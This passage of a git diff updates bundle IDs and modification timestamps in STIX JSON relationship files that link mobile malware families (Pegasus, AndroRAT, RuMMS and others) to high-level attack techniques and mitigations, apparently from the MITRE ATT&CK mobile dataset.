-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups reportedly \"transmitted the full contents of text messages\".",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
diff --git a/mobile-attack/relationship/relationship--19df76ee-fa85-43cf-96ce-422d46f29a13.json b/mobile-attack/relationship/relationship--19df76ee-fa85-43cf-96ce-422d46f29a13.json
index 476655ffcc..ac5e4c7918 100644
--- a/mobile-attack/relationship/relationship--19df76ee-fa85-43cf-96ce-422d46f29a13.json
+++ b/mobile-attack/relationship/relationship--19df76ee-fa85-43cf-96ce-422d46f29a13.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b619110-1c30-4668-98c5-7121b7d66b6b",
+    "id": "bundle--92323e8c-dfd8-44ce-976f-895b413f28dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--19df76ee-fa85-43cf-96ce-422d46f29a13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android listens for the BOOT_COMPLETED broadcast intent in order to maintain persistence and activate its functionality at device boot time.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--1a493cb6-452f-46ce-a7b4-267eacd5d2ff.json b/mobile-attack/relationship/relationship--1a493cb6-452f-46ce-a7b4-267eacd5d2ff.json
index a24bdfe95f..04891d3e3e 100644
--- a/mobile-attack/relationship/relationship--1a493cb6-452f-46ce-a7b4-267eacd5d2ff.json
+++ b/mobile-attack/relationship/relationship--1a493cb6-452f-46ce-a7b4-267eacd5d2ff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--86e70ce0-fa4e-4478-adb1-9671a197af42",
+    "id": "bundle--5a7b1998-87d8-4e3f-b5e9-ddf1319be4bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a493cb6-452f-46ce-a7b4-267eacd5d2ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--f9e4f526-ac9d-4df5-8949-833a82a1d2df",
diff --git a/mobile-attack/relationship/relationship--1a62c9c7-2d3b-4ee7-87d1-d8774050c566.json b/mobile-attack/relationship/relationship--1a62c9c7-2d3b-4ee7-87d1-d8774050c566.json
index 4d992a3937..268c05f8b2 100644
--- a/mobile-attack/relationship/relationship--1a62c9c7-2d3b-4ee7-87d1-d8774050c566.json
+++ b/mobile-attack/relationship/relationship--1a62c9c7-2d3b-4ee7-87d1-d8774050c566.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--44c657e2-a699-41de-9086-9c07b4c72e80",
+    "id": "bundle--790d9326-77f4-4d34-a461-e30b131317a8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1a62c9c7-2d3b-4ee7-87d1-d8774050c566",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--45dcbc83-4abc-4de1-b643-e528d1e9df09",
diff --git a/mobile-attack/relationship/relationship--1cca5e17-80ae-4b6e-8919-2768153aa966.json b/mobile-attack/relationship/relationship--1cca5e17-80ae-4b6e-8919-2768153aa966.json
index d170597e97..12c0fe4f0d 100644
--- a/mobile-attack/relationship/relationship--1cca5e17-80ae-4b6e-8919-2768153aa966.json
+++ b/mobile-attack/relationship/relationship--1cca5e17-80ae-4b6e-8919-2768153aa966.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f38445f-66d0-4174-9256-b3044f013637",
+    "id": "bundle--3b4c3f72-8dad-4d43-9a92-9e2f9f04d37a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1cca5e17-80ae-4b6e-8919-2768153aa966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Xbot uses \"phishing pages crafted to mimic Google Play's payment interface as well as the login pages of 7 different banks' apps\".",
             "source_ref": "tool--da21929e-40c0-443d-bdf4-6b60d15448b4",
diff --git a/mobile-attack/relationship/relationship--1ed76ca9-0ed6-40f9-89c6-64662fdd447d.json b/mobile-attack/relationship/relationship--1ed76ca9-0ed6-40f9-89c6-64662fdd447d.json
index 9d40240322..0c4ea61364 100644
--- a/mobile-attack/relationship/relationship--1ed76ca9-0ed6-40f9-89c6-64662fdd447d.json
+++ b/mobile-attack/relationship/relationship--1ed76ca9-0ed6-40f9-89c6-64662fdd447d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--00291ceb-d691-495d-9906-a633bf7d8052",
+    "id": "bundle--65555a36-c62b-46e9-ae56-6694d2276e2f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1ed76ca9-0ed6-40f9-89c6-64662fdd447d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--cf2cccb1-cab8-431a-8ecf-f7874d05f433",
             "target_ref": "attack-pattern--9d7c32f4-ab39-49dc-8055-8106bc2294a1",
diff --git a/mobile-attack/relationship/relationship--2065382f-45ae-4b9a-a77c-027ecd6c1735.json b/mobile-attack/relationship/relationship--2065382f-45ae-4b9a-a77c-027ecd6c1735.json
index d44b7dc115..3083b825bd 100644
--- a/mobile-attack/relationship/relationship--2065382f-45ae-4b9a-a77c-027ecd6c1735.json
+++ b/mobile-attack/relationship/relationship--2065382f-45ae-4b9a-a77c-027ecd6c1735.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e62158f3-1a7f-4d40-8e00-068dcadb418a",
+    "id": "bundle--7ea3345d-2fed-42c4-ba1c-02cf0bda04c1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2065382f-45ae-4b9a-a77c-027ecd6c1735",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[c]ollect SMS, MMS, and Gmail messages\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--2388ba94-8e49-40d0-a697-eea948e6cfb6.json b/mobile-attack/relationship/relationship--2388ba94-8e49-40d0-a697-eea948e6cfb6.json
index 0ab24b120a..3565422810 100644
--- a/mobile-attack/relationship/relationship--2388ba94-8e49-40d0-a697-eea948e6cfb6.json
+++ b/mobile-attack/relationship/relationship--2388ba94-8e49-40d0-a697-eea948e6cfb6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d4c5e22-7bba-4216-bd7b-4108f0d8a5f4",
+    "id": "bundle--803286ae-9d60-4840-a092-3b25a8bf764f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2388ba94-8e49-40d0-a697-eea948e6cfb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--a0464539-e1b7-4455-a355-12495987c300",
diff --git a/mobile-attack/relationship/relationship--26a9db86-5ecf-400a-bdd9-419448c2f776.json b/mobile-attack/relationship/relationship--26a9db86-5ecf-400a-bdd9-419448c2f776.json
index f7db1c7f3a..11e5f80f2a 100644
--- a/mobile-attack/relationship/relationship--26a9db86-5ecf-400a-bdd9-419448c2f776.json
+++ b/mobile-attack/relationship/relationship--26a9db86-5ecf-400a-bdd9-419448c2f776.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a6279832-5c98-4b41-9419-05cf7e009511",
+    "id": "bundle--f4ea5872-1482-4ce3-82b7-3eea1c810410",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--26a9db86-5ecf-400a-bdd9-419448c2f776",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e829ee51-1caf-4665-ba15-7f8979634124",
             "target_ref": "attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d",
diff --git a/mobile-attack/relationship/relationship--27247071-356b-4b5f-bc8f-6436a3fec095.json b/mobile-attack/relationship/relationship--27247071-356b-4b5f-bc8f-6436a3fec095.json
index 9acddb0dd6..58a38027ea 100644
--- a/mobile-attack/relationship/relationship--27247071-356b-4b5f-bc8f-6436a3fec095.json
+++ b/mobile-attack/relationship/relationship--27247071-356b-4b5f-bc8f-6436a3fec095.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c34abf25-9d29-4d94-9411-4f5b22e3f820",
+    "id": "bundle--229ee0e8-837b-4d90-b2dd-815ec695c440",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--27247071-356b-4b5f-bc8f-6436a3fec095",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PJApps \"may collect and leak the victim's...location.\"",
             "source_ref": "malware--c709da93-20c3-4d17-ab68-48cba76b2137",
diff --git a/mobile-attack/relationship/relationship--290a627d-172d-494d-a0cc-685f480a1034.json b/mobile-attack/relationship/relationship--290a627d-172d-494d-a0cc-685f480a1034.json
index 4b100349f9..9d26c682cb 100644
--- a/mobile-attack/relationship/relationship--290a627d-172d-494d-a0cc-685f480a1034.json
+++ b/mobile-attack/relationship/relationship--290a627d-172d-494d-a0cc-685f480a1034.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--45edca4e-d1a0-4030-b3dd-9f390eabdbe6",
+    "id": "bundle--691c984e-e6f9-4e04-b80b-c7ae3cdcfd51",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--290a627d-172d-494d-a0cc-685f480a1034",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "AndroRAT collects call logs.",
             "source_ref": "malware--a3dad2be-ce62-4440-953b-00fbce7aba93",
diff --git a/mobile-attack/relationship/relationship--29dc105c-0b1b-4645-85ef-436c096bd3e2.json b/mobile-attack/relationship/relationship--29dc105c-0b1b-4645-85ef-436c096bd3e2.json
index 118d96ab79..23ea15dffc 100644
--- a/mobile-attack/relationship/relationship--29dc105c-0b1b-4645-85ef-436c096bd3e2.json
+++ b/mobile-attack/relationship/relationship--29dc105c-0b1b-4645-85ef-436c096bd3e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64855092-9af2-42de-a464-00a1eb8258c2",
+    "id": "bundle--4179a619-18f1-4e0c-8ab5-b81820a51452",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--29dc105c-0b1b-4645-85ef-436c096bd3e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RuMMS uploads incoming SMS messages to a remote command and control server.",
             "source_ref": "malware--936be60d-90eb-4c36-9247-4b31128432c4",
diff --git a/mobile-attack/relationship/relationship--2bd272ca-8a14-42cd-9664-6cc6f7451e42.json b/mobile-attack/relationship/relationship--2bd272ca-8a14-42cd-9664-6cc6f7451e42.json
index 540c0ee3d7..8ad10075c3 100644
--- a/mobile-attack/relationship/relationship--2bd272ca-8a14-42cd-9664-6cc6f7451e42.json
+++ b/mobile-attack/relationship/relationship--2bd272ca-8a14-42cd-9664-6cc6f7451e42.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fb106e77-4071-44d5-b80e-cf66e206a17e",
+    "id": "bundle--dbf6a2b6-f136-4fa6-8b6a-5429e6f3fc3c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2bd272ca-8a14-42cd-9664-6cc6f7451e42",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--653492e3-27be-4a0e-b08c-938dd2b7e0e1",
             "target_ref": "attack-pattern--0c71033e-401e-4b97-9309-7a7c95e43a5d",
diff --git a/mobile-attack/relationship/relationship--2bedbf86-2ef0-45bf-950d-b9d072c03bdc.json b/mobile-attack/relationship/relationship--2bedbf86-2ef0-45bf-950d-b9d072c03bdc.json
index ad4e82f104..a597fe3bc5 100644
--- a/mobile-attack/relationship/relationship--2bedbf86-2ef0-45bf-950d-b9d072c03bdc.json
+++ b/mobile-attack/relationship/relationship--2bedbf86-2ef0-45bf-950d-b9d072c03bdc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac133996-5b18-412e-9d43-aaa1aa52338e",
+    "id": "bundle--bb2e7778-8ba3-49af-af46-95b18a0efaac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2bedbf86-2ef0-45bf-950d-b9d072c03bdc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups stole call logs.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--2cdd5474-620c-499e-8b9c-835505febc2c.json b/mobile-attack/relationship/relationship--2cdd5474-620c-499e-8b9c-835505febc2c.json
index 1f5c8e9871..14dc33954c 100644
--- a/mobile-attack/relationship/relationship--2cdd5474-620c-499e-8b9c-835505febc2c.json
+++ b/mobile-attack/relationship/relationship--2cdd5474-620c-499e-8b9c-835505febc2c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--55088179-3372-404a-9e50-e4120567b8e0",
+    "id": "bundle--b32b76eb-2bc7-41a7-a04d-4556800e1d1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2cdd5474-620c-499e-8b9c-835505febc2c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan-SMS.AndroidOS.OpFake.a uses Google Cloud Messaging (GCM) for command and control.",
             "source_ref": "malware--d89c132d-7752-4c7f-9372-954a71522985",
diff --git a/mobile-attack/relationship/relationship--2de76a24-ec87-4808-b0d3-b84d318ac22c.json b/mobile-attack/relationship/relationship--2de76a24-ec87-4808-b0d3-b84d318ac22c.json
index 31ed9878d9..bdffbe0625 100644
--- a/mobile-attack/relationship/relationship--2de76a24-ec87-4808-b0d3-b84d318ac22c.json
+++ b/mobile-attack/relationship/relationship--2de76a24-ec87-4808-b0d3-b84d318ac22c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--62878299-377f-4ed3-953e-d7c4e6b93ff0",
+    "id": "bundle--2da2669a-f7b5-45a4-a360-2175682995bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2de76a24-ec87-4808-b0d3-b84d318ac22c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "XcodeGhost can \"[r]ead and write data in the user\u2019s clipboard, which could be used to read the user\u2019s password if that password is copied from a password management tool.\"",
             "source_ref": "malware--d9e07aea-baad-4b68-bdca-90c77647d7f9",
diff --git a/mobile-attack/relationship/relationship--2f5da3a1-19da-421f-be48-cfdcd3c79be1.json b/mobile-attack/relationship/relationship--2f5da3a1-19da-421f-be48-cfdcd3c79be1.json
index be93140610..3688d2e367 100644
--- a/mobile-attack/relationship/relationship--2f5da3a1-19da-421f-be48-cfdcd3c79be1.json
+++ b/mobile-attack/relationship/relationship--2f5da3a1-19da-421f-be48-cfdcd3c79be1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e878eadc-7f9f-402a-a7bc-30cde9f37486",
+    "id": "bundle--f4b6ef61-d86f-481a-9699-09a5a581bc1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2f5da3a1-19da-421f-be48-cfdcd3c79be1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--f296fc9c-2ff5-43ee-941e-6b49c438270a",
diff --git a/mobile-attack/relationship/relationship--31942635-81b1-4657-8882-50fb97fae64b.json b/mobile-attack/relationship/relationship--31942635-81b1-4657-8882-50fb97fae64b.json
index a493f77145..ea2bbfff47 100644
--- a/mobile-attack/relationship/relationship--31942635-81b1-4657-8882-50fb97fae64b.json
+++ b/mobile-attack/relationship/relationship--31942635-81b1-4657-8882-50fb97fae64b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68d960b6-d1e3-45cd-8796-89da5c4c2e83",
+    "id": "bundle--569f9930-4492-4096-a138-587e330901dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--31942635-81b1-4657-8882-50fb97fae64b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--f981d199-2720-467e-9dc9-eea04dbe05cf",
diff --git a/mobile-attack/relationship/relationship--319d46b5-de41-4f23-9001-2fa75f954720.json b/mobile-attack/relationship/relationship--319d46b5-de41-4f23-9001-2fa75f954720.json
index 0930d02d5c..120f710771 100644
--- a/mobile-attack/relationship/relationship--319d46b5-de41-4f23-9001-2fa75f954720.json
+++ b/mobile-attack/relationship/relationship--319d46b5-de41-4f23-9001-2fa75f954720.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8cf68485-29cb-431b-b8ca-87315412b4c1",
+    "id": "bundle--1704953d-54e9-44d7-8556-b1f957ac7f10",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--319d46b5-de41-4f23-9001-2fa75f954720",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan-SMS.AndroidOS.Agent.ao uses Google Cloud Messaging (GCM) for command and control.",
             "source_ref": "malware--a1867c56-8c86-455a-96ad-b0d5f7e2bc17",
diff --git a/mobile-attack/relationship/relationship--3230c032-17e0-49f7-b948-c157049aafe2.json b/mobile-attack/relationship/relationship--3230c032-17e0-49f7-b948-c157049aafe2.json
index 20d47efec5..2978f59343 100644
--- a/mobile-attack/relationship/relationship--3230c032-17e0-49f7-b948-c157049aafe2.json
+++ b/mobile-attack/relationship/relationship--3230c032-17e0-49f7-b948-c157049aafe2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4ad029f4-daef-4b22-85fb-afdb22e4a0bb",
+    "id": "bundle--e66543a1-3f3f-41a4-a895-110a80772e4e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3230c032-17e0-49f7-b948-c157049aafe2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.742Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
             "target_ref": "attack-pattern--667e5707-3843-4da8-bd34-88b922526f0d",
diff --git a/mobile-attack/relationship/relationship--34351abd-1f58-420a-a893-ad822839815d.json b/mobile-attack/relationship/relationship--34351abd-1f58-420a-a893-ad822839815d.json
index 8544ab0d2e..910d2cdf6e 100644
--- a/mobile-attack/relationship/relationship--34351abd-1f58-420a-a893-ad822839815d.json
+++ b/mobile-attack/relationship/relationship--34351abd-1f58-420a-a893-ad822839815d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--197877c6-acb7-49e9-856f-fc4550df4cc7",
+    "id": "bundle--d5a6c48b-59a7-4416-b522-8e1492097517",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--34351abd-1f58-420a-a893-ad822839815d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus captures call logs.",
             "source_ref": "malware--33d9d91d-aad9-49d5-a516-220ce101ac8a",
diff --git a/mobile-attack/relationship/relationship--373f33be-9b40-44f5-bfd3-db2a9f5fa72c.json b/mobile-attack/relationship/relationship--373f33be-9b40-44f5-bfd3-db2a9f5fa72c.json
index af5701c623..f81814f78d 100644
--- a/mobile-attack/relationship/relationship--373f33be-9b40-44f5-bfd3-db2a9f5fa72c.json
+++ b/mobile-attack/relationship/relationship--373f33be-9b40-44f5-bfd3-db2a9f5fa72c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ab4d6e15-fbee-4f6d-b945-cc867f4c7a0d",
+    "id": "bundle--0a014ea9-fc18-49a9-8a8e-915a7341a4bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--373f33be-9b40-44f5-bfd3-db2a9f5fa72c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OldBoot uses escalated privileges to modify the init script on the device's boot partition to maintain persistence.",
             "source_ref": "malware--2074b2ad-612e-4758-adce-7901c1b49bbc",
diff --git a/mobile-attack/relationship/relationship--37c4a0cf-0552-46fd-b067-419b15833044.json b/mobile-attack/relationship/relationship--37c4a0cf-0552-46fd-b067-419b15833044.json
index fb1a21f46d..088884fb40 100644
--- a/mobile-attack/relationship/relationship--37c4a0cf-0552-46fd-b067-419b15833044.json
+++ b/mobile-attack/relationship/relationship--37c4a0cf-0552-46fd-b067-419b15833044.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91b50506-3a56-4ae5-b2e9-e98d7b377192",
+    "id": "bundle--575241fe-03ff-415f-8a2a-e8df6e2b7476",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--37c4a0cf-0552-46fd-b067-419b15833044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.743Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--dfe29258-ce59-421c-9dee-e85cb9fa90cd",
diff --git a/mobile-attack/relationship/relationship--3a446bee-007b-4b1f-849e-60e9d39c2e92.json b/mobile-attack/relationship/relationship--3a446bee-007b-4b1f-849e-60e9d39c2e92.json
index ebf4127ddd..934c1e99ce 100644
--- a/mobile-attack/relationship/relationship--3a446bee-007b-4b1f-849e-60e9d39c2e92.json
+++ b/mobile-attack/relationship/relationship--3a446bee-007b-4b1f-849e-60e9d39c2e92.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa3622a7-1278-41d4-8663-37603e73a159",
+    "id": "bundle--70018c34-e5e6-428d-97cb-bbb36294032a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3a446bee-007b-4b1f-849e-60e9d39c2e92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--8f142a25-f6c3-4520-bd50-2ae3ab50ed3e",
diff --git a/mobile-attack/relationship/relationship--3a9467d4-09df-4266-ba5a-d40309949e70.json b/mobile-attack/relationship/relationship--3a9467d4-09df-4266-ba5a-d40309949e70.json
index 5782a39b64..0491d3400d 100644
--- a/mobile-attack/relationship/relationship--3a9467d4-09df-4266-ba5a-d40309949e70.json
+++ b/mobile-attack/relationship/relationship--3a9467d4-09df-4266-ba5a-d40309949e70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ddcc77b-5d77-4a25-aba2-e113f54dc5e2",
+    "id": "bundle--341f240e-3e10-4609-9ec1-5139029a492e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3a9467d4-09df-4266-ba5a-d40309949e70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.740Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--a9cab8f6-4c94-4c9b-9e7d-9d863ff53431",
diff --git a/mobile-attack/relationship/relationship--3baf01c5-591b-43a0-8963-506531313e68.json b/mobile-attack/relationship/relationship--3baf01c5-591b-43a0-8963-506531313e68.json
index e5df3a4a1f..ac82bb6cb8 100644
--- a/mobile-attack/relationship/relationship--3baf01c5-591b-43a0-8963-506531313e68.json
+++ b/mobile-attack/relationship/relationship--3baf01c5-591b-43a0-8963-506531313e68.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9cd3a2ee-0408-43b6-b3dc-3dd1789953a0",
+    "id": "bundle--cc629c7a-5896-4fb6-91d2-5c2a811356a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3baf01c5-591b-43a0-8963-506531313e68",
